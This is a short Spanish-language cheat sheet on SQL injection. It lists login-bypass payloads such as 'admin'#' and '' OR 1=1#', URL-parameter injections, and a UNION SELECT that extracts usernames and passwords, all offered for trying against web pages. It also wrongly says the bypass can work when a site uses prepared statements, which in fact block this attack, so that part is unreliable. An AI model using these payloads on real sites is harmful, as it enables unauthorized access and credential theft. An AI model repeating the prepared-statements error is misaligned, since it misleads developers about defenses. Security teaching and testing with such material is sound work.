s

SQLi

Structured Query Language - Inyección

Adrián L. G. P.


IMPORTANTE

En SQL hay 2 tipos de comentarios según versiones. Podemos probar cada consulta intercambiando uno por otro:

#
--

Formulario Log-in [1]

En una página web que utilice SQL como BB.DD. podemos probar a entrar como administrador (root, admin, ...) añadiendo un comentario de una de estas 2 maneras:

admin'#

Y como contraseña podremos poner cualquiera ya que se omitirá el campo en la consulta SQL. Puede funcionar si el administrador no limita privilegios, no restringe carácteres en los formularios o si usa Prepared Statements.

Formulario Log-in [2]

Además se podría añadir a la consulta como usuario y contraseña (podemos probar con las comillas dobles: "). Opciones:

' OR ''='
' OR 1=1#
' OR 1=1/*
admin' OR '1'='1
' OR EXISTS(SELECT * FROM Users) #

Lo que hace es añadir a la consulta un nombre de usuario O una sentencia que siempre es verdadera, dando acceso a la BB.DD.

URLs

Con las URLs podemos ver a veces parámetros como ?id=1. Podemos probar a añadir:

1' OR '1'='1
1' OR 1=1#
1' OR 1=1/*

Lo que hace es añadir a la consulta un nombre de usuario O una sentencia que siempre es verdadera, dando acceso a la BB.DD.

O intentos más complejos como conseguir datos de la BB.DD.:

1' UNION SELECT username, password FROM Users#

© Adrián L. G. P.

© Adrián L. G. P.